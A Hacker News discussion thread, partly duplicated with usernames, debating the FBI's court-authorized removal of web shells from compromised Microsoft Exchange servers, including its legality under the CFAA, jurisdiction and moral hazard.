This reminds me of a time at Red Hat when a worm was going around and infecting Red Hat systems, one of the engineers reverse engineered the worm and wanted to release it in the wild to fix the bug, legal wouldn’t let them. I think legal was right (for a public company) but this kind of shows the actual right response, in my opinion.
Keep in mind in like 1999, you didn’t expect upgrades via package managers online for most large customers so this was an appealing release vector.
It also sounds like the time Max Butler exploited a buffer overflow in BIND to patch a bunch of DOD systems. As we later found out, he added some extra "functionality" to that patch. Who's to say FBI hasn't done that in some small fraction of cases?
Yeah I can understand legal's approach and maybe not wanting test the waters by going to a judge and all that work.
Microsoft and the DOJ have established a track record of getting judicial approval and so on. I'm sure now it is a much more known quantity / outcome legally for them than Red Hat back in 1999. I can imagine there is a good chance of a judge in 1999 think "You're who? and you want to wut wut the wut wut?"
If I'm understanding this correctly, the DOJ authorized the FBI to exploit the exploit to remove the exploit from exploited servers? This proactivity is something I remember hearing recently that the NSA wished they could have
What if servers that got “fixed” weren’t American? Would that mean the FBI went outside its jurisdiction and could be seen as an illegal act across international borders?
I'm kind of annoyed by some of the general negative tone of some of the comments here: "Ha! The FBI is guilty of hacking", or "But they didn't patch the root cause!"
In my understanding, the FBI:
1. Applied for and received a lawful court order
2. To make as minimally invasive as change as possible to help the targeted networks
3. While making a best effort to contact the network owners to tell them what they were doing and then
4. Widely publicizing what they did.
Not everything is some big "gotcha" conspiracy. We can just say "thank you" and move on.
Though their intentions are probably noble, I get a niggling feeling when I hear this.
To me the FBI's behavior is the equivalent of "Since there have been several break-ins in our district and our local police dept. has determined that the internal door locks of business offices in our district are faulty, so we have broken into each business, and fixed the locks ourselves, we have attempted to trace you and notify you if you have publicly available contact info". Noble, yet still chilling.
I don't know that anybody is frustrated about what they did. It's that anybody else who could have benevolently done the same thing, much faster, but without all the process, would be in massively hot water. I think mostly it's just frustrating to want to do the right thing, know that you could, also know that you can't, and then see somebody get to do it officially so much later.
Top that all off with the fact that it's really hard to trace who and what were involved, versus a more transparent process where legitimate experts could chime in and prevent any further harm. Instead we have to cross our fingers that they did it right and that the judge understood what he was agreeing to.
And I mean it's not a unique problem to this circumstance. Just kinda how institutions tend to be.
If, for example, part of the mechanism that allowed them to do this involved a search warrant for "all computers in the US"...that's a precedent that has obvious, chilling, future implications.
Perhaps that wasn't the mechanism, but it's such a broad action that I'm worried something like that is involved.
Imagine you were were one of the targets for this exploit, the FBI intervened in the issue, and three months from now damaging information started leaking to the press.
How would you show the source was the original hackers and not the FBI?
Interesting. They're violating their own CFAA law (accessing a computer without authorization or exceeding the access granted) to remove web shells. Legally, this is hacking. Which means that the FBI just hacked a bunch of Exchange servers to clean them.
So the message here is, if you don't clean up your act and you're on a USA network, we'll do it for you without your permission.
The beef is at the end of the article:
This operation was successful in copying and removing those web shells. However, it did not patch any Microsoft Exchange Server zero-day vulnerabilities or search for or remove any additional malware or hacking tools that hacking groups may have placed on victim networks by exploiting the web shells. The Department strongly encourages network defenders to review Microsoft’s remediation guidance and the March 10 Joint Advisory for further guidance on detection and patching.
The FBI is attempting to provide notice of the court-authorized operation to all owners or operators of the computers from which it removed the hacking group’s web shells. For those victims with publicly available contact information, the FBI will send an e-mail message from an official FBI e-mail account (@FBI.gov) notifying the victim of the search. For those victims whose contact information is not publicly available, the FBI will send an e-mail message from the same FBI e-mail account to providers (such as a victim’s ISP) who are believed to have that contact information and ask them to provide notice to the victim.
If you believe you have a compromised computer running Microsoft Exchange Server, please contact your local FBI Field Office for assistance. The FBI continues to conduct a thorough and methodical investigation into this cyber incident.
"This section does not prohibit any lawfully authorized investigative, protective, or intelligence activity of a law enforcement agency of the United States, a State, or a political subdivision of a State, or of an intelligence agency of the United States."
18 U.S.C. § 1030(f).
DOJ obtained authorization here, most likely under Fed. R. Crim. P. 41(b)(6)(B)--which, interestingly enough, cross-references the CFAA.
> So the message here is, if you don't clean up your act and you're on a USA network, we'll do it for you without your permission.
I am not sure on any prior case law on this, but there's examples in the real world if you leave a dangerous attractive nuisance out in the public space, where it could potentially be harmful to people or animals. Local law enforcement or civic-minded citizens will remove it. It could be argued that leaving exposed outlook web access rooted systems out there for anyone to use on the public internet is not too dissimilar.
On a federal level? If you leave an abandoned ship leaking toxic chemicals anchored somewhere in a bay, don't be surprised if the USCG, a federal law enforcement agency, comes and seizes it...
Microsoft and the DOJ have several times gone to a judge to get permission to take over botnets. The reason being that to do so they take over the botnet and the result is of course that if they control the botnet they then have control of those computers. But you can't completely disassemble some botnets without taking it over.
> Just seems odd that somehow the FBI is the best server admin here?
Without arguing for or against it, I can see this new role viewed as a "sysadmin of last resort" wherein an authorized institution steps in to ensure a minimum security level among neglected systems in their jurisdiction.
> And what happens if they break something while patching the exploits?
Probably the same thing that happens when officers injure people or damage property in the course of executing a warrant (which is quite common). In short, either the victim is rich and/or outraged enough to venture a lawsuit against the relevant agency or they just file insurance claims and hope for the best.
I wouldn't be surprised if part of the reasoning for signing off on this action was that the risk of damage was considerably lower than what is routinely understood to be part and parcel of executing search warrants.
Presumably the FBI limited this operation to "U.S. Networks". I wonder how they determined that? Based on domain registration? IP block ownership? What about a non-US company with servers outside of the US that has a Point-of-Presence IP inside the US? Seems like there's no perfect way to determine programmatically.
> The presumptively U.S.-based Microsoft Exchange Servers, corresponding to the
approximately [redacted] web shells in Attachment A appear to be located in five or more judicial districts, according to publicly available Whois records and IP address geolocation
A substantive portion of these unpatched servers end up ransomed. And if not yet, they will be. A proportion of ransom victims show up expecting the FBI to help, even if they were extremely negligent in allowing the incident to occur. Another very high proportion just pays the ransom.
The FBI here aren't just "protecting lazy admins", there are some further reaching consequences to failing to act.
Note also people are talking about "applying patches" but the order more specifically talks about removing web shells. If my experience is indicative, there are more hosts that applied patches too late and didn't remove the web shells mass scanners deployed, than hosts that never patched. I expect a lot of this disruption is about deleting a one line .aspx file.
Imo seems reasonable. There are plenty of other government agencies with far more power in their respective industries. FDA, Public Health Departments, the myriad of banking regulators.
In may of those, the respective regulators can shit the entire business down. Here, the FBI didn't even power the servers off and they got a warrant without going through a secret court
Companies have had plenty of time to address the issue on their own, at this point
I'm interested in the moral hazard this creates if this practice becomes widespread. If your servers are "too big to fail", and the FBI/NSA can reliably zero-day into your servers to patch zero-day bugs, that seems like a pretty good deal for skimping on some of your security budget.
FBI/NSA doesn't give a damn about some unpatched servers in the wild. They are probably clearing web shells in order to bait hackers into reinfecting the same servers, and try to locate/attribute the original bad actor.
Well, this is a totally awful development. In the 80s the idea of white worms being used to patch vulnerabilities was rejected for good reason, so I have to think this has little to do with security and much more to do with normalizing behavior that really shouldn't be tolerated. They didn't even patch the hole...
Before anyone tries framing it as a service to the security of the majority - understand that this is the introduction of a new attack vector: state actors hamfistedly bumbling around your network while "doing you a favor". If the threat even approached a level justifying this kind of action, the far more effective and less damaging approach would be directing upstream networks to blackhole routes to the machines.
I would like to see this type of thing become more popular with general law enforcement.
It is very frustrating to have essentially no recourse available to stop the constant vulnerability scans targeting my house.
If random people constantly walk up to every house on the street looking for pick-able locks, the police are (Setting, for a moment, aside over/under policing and other issues) available to help stop them.
But, for the digital equivalent, our collective response (especially among technical people) is typically "[shrug] Make sure your locks are unpickable and your windows unbreakable. And if you cant handle that, then just move in to the Facebook highrise"
> This operation was successful in copying and removing those web shells. However, it did not patch any Microsoft Exchange Server zero-day vulnerabilities or search for or remove any additional malware or hacking tools that hacking groups may have placed on victim networks by exploiting the web shells.
So they removed the IOC but left the hole wide open.
This kind of "help" is going to be an incentive to stop doing business with US hosting companies.
Interesting precedent. Will they bill Microsoft? If not, I'm curious if this could mark the start of externalizing security and cleanup responsibilities to the federal government.
[+] [-] codezero|5 years ago|reply
Keep in mind in like 1999, you didn’t expect upgrades via package managers online for most large customers so this was an appealing release vector.
[+] [-] nuisance-bear|5 years ago|reply
https://en.wikipedia.org/wiki/Kingpin_(book)
[+] [-] duxup|5 years ago|reply
Microsoft and the DOJ have established a track record of getting judicial approval and so on. I'm sure now it is a much more known quantity / outcome legally for them than Red Hat back in 1999. I can imagine there is a good chance of a judge in 1999 think "You're who? and you want to wut wut the wut wut?"
[+] [-] throw4738|5 years ago|reply
[+] [-] Cthulhu_|5 years ago|reply
[+] [-] angled|5 years ago|reply
[+] [-] pizza|5 years ago|reply
[+] [-] tiahura|5 years ago|reply
[+] [-] alfiedotwtf|5 years ago|reply
[+] [-] OGWhales|5 years ago|reply
[+] [-] hn_throwaway_99|5 years ago|reply
In my understanding, the FBI:
1. Applied for and received a lawful court order
2. To make as minimally invasive as change as possible to help the targeted networks
3. While making a best effort to contact the network owners to tell them what they were doing and then
4. Widely publicizing what they did.
Not everything is some big "gotcha" conspiracy. We can just say "thank you" and move on.
[+] [-] ROARosen|5 years ago|reply
To me the FBI's behavior is the equivalent of "Since there have been several break-ins in our district and our local police dept. has determined that the internal door locks of business offices in our district are faulty, so we have broken into each business, and fixed the locks ourselves, we have attempted to trace you and notify you if you have publicly available contact info". Noble, yet still chilling.
[+] [-] andrewstuart2|5 years ago|reply
Top that all off with the fact that it's really hard to trace who and what were involved, versus a more transparent process where legitimate experts could chime in and prevent any further harm. Instead we have to cross our fingers that they did it right and that the judge understood what he was agreeing to.
And I mean it's not a unique problem to this circumstance. Just kinda how institutions tend to be.
[+] [-] tyingq|5 years ago|reply
If, for example, part of the mechanism that allowed them to do this involved a search warrant for "all computers in the US"...that's a precedent that has obvious, chilling, future implications.
Perhaps that wasn't the mechanism, but it's such a broad action that I'm worried something like that is involved.
[+] [-] boomboomsubban|5 years ago|reply
How would you show the source was the original hackers and not the FBI?
[+] [-] zapdrive|5 years ago|reply
[deleted]
[+] [-] alfiedotwtf|5 years ago|reply
Tl;dr: I’m from the government, and I’m here to help
[+] [-] mmaunder|5 years ago|reply
So the message here is, if you don't clean up your act and you're on a USA network, we'll do it for you without your permission.
The beef is at the end of the article:
This operation was successful in copying and removing those web shells. However, it did not patch any Microsoft Exchange Server zero-day vulnerabilities or search for or remove any additional malware or hacking tools that hacking groups may have placed on victim networks by exploiting the web shells. The Department strongly encourages network defenders to review Microsoft’s remediation guidance and the March 10 Joint Advisory for further guidance on detection and patching.
The FBI is attempting to provide notice of the court-authorized operation to all owners or operators of the computers from which it removed the hacking group’s web shells. For those victims with publicly available contact information, the FBI will send an e-mail message from an official FBI e-mail account (@FBI.gov) notifying the victim of the search. For those victims whose contact information is not publicly available, the FBI will send an e-mail message from the same FBI e-mail account to providers (such as a victim’s ISP) who are believed to have that contact information and ask them to provide notice to the victim.
If you believe you have a compromised computer running Microsoft Exchange Server, please contact your local FBI Field Office for assistance. The FBI continues to conduct a thorough and methodical investigation into this cyber incident.
[+] [-] andrewmg|5 years ago|reply
"This section does not prohibit any lawfully authorized investigative, protective, or intelligence activity of a law enforcement agency of the United States, a State, or a political subdivision of a State, or of an intelligence agency of the United States."
18 U.S.C. § 1030(f).
DOJ obtained authorization here, most likely under Fed. R. Crim. P. 41(b)(6)(B)--which, interestingly enough, cross-references the CFAA.
[+] [-] walrus01|5 years ago|reply
I am not sure on any prior case law on this, but there's examples in the real world if you leave a dangerous attractive nuisance out in the public space, where it could potentially be harmful to people or animals. Local law enforcement or civic-minded citizens will remove it. It could be argued that leaving exposed outlook web access rooted systems out there for anyone to use on the public internet is not too dissimilar.
On a federal level? If you leave an abandoned ship leaking toxic chemicals anchored somewhere in a bay, don't be surprised if the USCG, a federal law enforcement agency, comes and seizes it...
[+] [-] duxup|5 years ago|reply
There you go.
Microsoft and the DOJ have several times gone to a judge to get permission to take over botnets. The reason being that to do so they take over the botnet and the result is of course that if they control the botnet they then have control of those computers. But you can't completely disassemble some botnets without taking it over.
[+] [-] chris_wot|5 years ago|reply
[+] [-] social_quotient|5 years ago|reply
And what happens if they break something while patching the exploits? Just seems odd that somehow the FBI is the best server admin here?
I feel like I’m missing the full view of the implementation specifics.
Shouldn’t the disincentive for admins to run unpatched just be monetary damages once/if a damage occurs?
Why are my tax dollars paying for lazing email hosts? Seems like a lot of other issues (unless I’m missing something)
[+] [-] avz|5 years ago|reply
Without arguing for or against it, I can see this new role viewed as a "sysadmin of last resort" wherein an authorized institution steps in to ensure a minimum security level among neglected systems in their jurisdiction.
[+] [-] 0xcde4c3db|5 years ago|reply
Probably the same thing that happens when officers injure people or damage property in the course of executing a warrant (which is quite common). In short, either the victim is rich and/or outraged enough to venture a lawsuit against the relevant agency or they just file insurance claims and hope for the best.
I wouldn't be surprised if part of the reasoning for signing off on this action was that the risk of damage was considerably lower than what is routinely understood to be part and parcel of executing search warrants.
[+] [-] varenc|5 years ago|reply
[+] [-] iudqnolq|5 years ago|reply
> The presumptively U.S.-based Microsoft Exchange Servers, corresponding to the approximately [redacted] web shells in Attachment A appear to be located in five or more judicial districts, according to publicly available Whois records and IP address geolocation
[+] [-] technion|5 years ago|reply
The FBI here aren't just "protecting lazy admins", there are some further reaching consequences to failing to act.
Note also people are talking about "applying patches" but the order more specifically talks about removing web shells. If my experience is indicative, there are more hosts that applied patches too late and didn't remove the web shells mass scanners deployed, than hosts that never patched. I expect a lot of this disruption is about deleting a one line .aspx file.
[+] [-] slt2021|5 years ago|reply
if left unpatched, these same servers could be reinfected next day?
[+] [-] tatersolid|5 years ago|reply
[+] [-] unknown|5 years ago|reply
[deleted]
[+] [-] nijave|5 years ago|reply
In may of those, the respective regulators can shit the entire business down. Here, the FBI didn't even power the servers off and they got a warrant without going through a secret court
Companies have had plenty of time to address the issue on their own, at this point
[+] [-] natural219|5 years ago|reply
[+] [-] slt2021|5 years ago|reply
[+] [-] sennight|5 years ago|reply
Before anyone tries framing it as a service to the security of the majority - understand that this is the introduction of a new attack vector: state actors hamfistedly bumbling around your network while "doing you a favor". If the threat even approached a level justifying this kind of action, the far more effective and less damaging approach would be directing upstream networks to blackhole routes to the machines.
[+] [-] shuntress|5 years ago|reply
It is very frustrating to have essentially no recourse available to stop the constant vulnerability scans targeting my house.
If random people constantly walk up to every house on the street looking for pick-able locks, the police are (Setting, for a moment, aside over/under policing and other issues) available to help stop them.
But, for the digital equivalent, our collective response (especially among technical people) is typically "[shrug] Make sure your locks are unpickable and your windows unbreakable. And if you cant handle that, then just move in to the Facebook highrise"
[+] [-] rektide|5 years ago|reply
[+] [-] edoceo|5 years ago|reply
[+] [-] sneak|5 years ago|reply
So they removed the IOC but left the hole wide open.
This kind of "help" is going to be an incentive to stop doing business with US hosting companies.
[+] [-] unknown|5 years ago|reply
[deleted]
[+] [-] nojito|5 years ago|reply
This is about damage mitigation and removing the shells is an excellent way of achieving it.
[+] [-] neolog|5 years ago|reply
[+] [-] gnu8|5 years ago|reply
[+] [-] julia00001|5 years ago|reply
[deleted]
[+] [-] exabrial|5 years ago|reply
[+] [-] fatiherikli|5 years ago|reply
[+] [-] Forge36|5 years ago|reply
[+] [-] ianhawes|5 years ago|reply
/s
[+] [-] sneak|5 years ago|reply
[+] [-] newleaf|5 years ago|reply